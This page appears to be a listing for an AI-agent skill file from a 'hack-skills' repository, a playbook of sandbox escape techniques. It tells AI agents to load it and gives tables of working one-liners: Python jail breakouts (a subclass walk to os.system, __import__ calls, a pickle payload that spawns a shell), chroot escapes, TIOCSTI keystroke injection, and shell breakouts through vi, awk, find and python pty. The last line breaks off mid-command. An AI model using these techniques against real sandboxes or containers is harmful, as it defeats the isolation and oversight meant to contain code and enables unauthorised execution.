OverviewHistoryStatsSecurity
npx skills add ...
Documentation
SKILL.md
npx skills add yaklang/hack-skills --skill sandbox-escape-techniques
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
npx skills add yaklang/hack-skills --skill sandbox-escape-techniques
AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
__builtins__ recovery, keyword bypass, AST bypass, pickle escape| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, exec/eval available | CTF, online judges, Jupyter |
| Lua sandbox | No os, io modules; restricted metatables | Game scripting, config |
| seccomp | syscall filtering, prctl(PR_SET_SECCOMP) | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited /proc access | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |
See PYTHON_SANDBOX_ESCAPE.md for full methodology.
| Technique | One-Liner |
|---|---|
| Subclass walk | ().__class__.__bases__[0].__subclasses__() → find os._wrap_close → __init__.__globals__['system'] |
| Import recovery | __builtins__.__import__('os').system('sh') |
| getattr bypass | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr construction | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle escape | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| Code object | Construct types.CodeType(...) then exec() with custom bytecode |
| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | fchdir(leaked_fd) then chroot(".") |
| Double chroot | Process is root inside chroot | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c) |
| /proc access | /proc mounted inside chroot | /proc/1/root/ → access real root filesystem |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |
| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |
| Technique | Method |
|---|---|
| vi/vim | :!/bin/bash or :set shell=/bin/bash then :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| Environment | export PATH=/usr/bin:/bin; /bin/bash |
| cp | Copy /bin/bash to allowed directory |
| git | git help config → then !/bin/bash in pager |
| Encoding | `echo /bin/bash |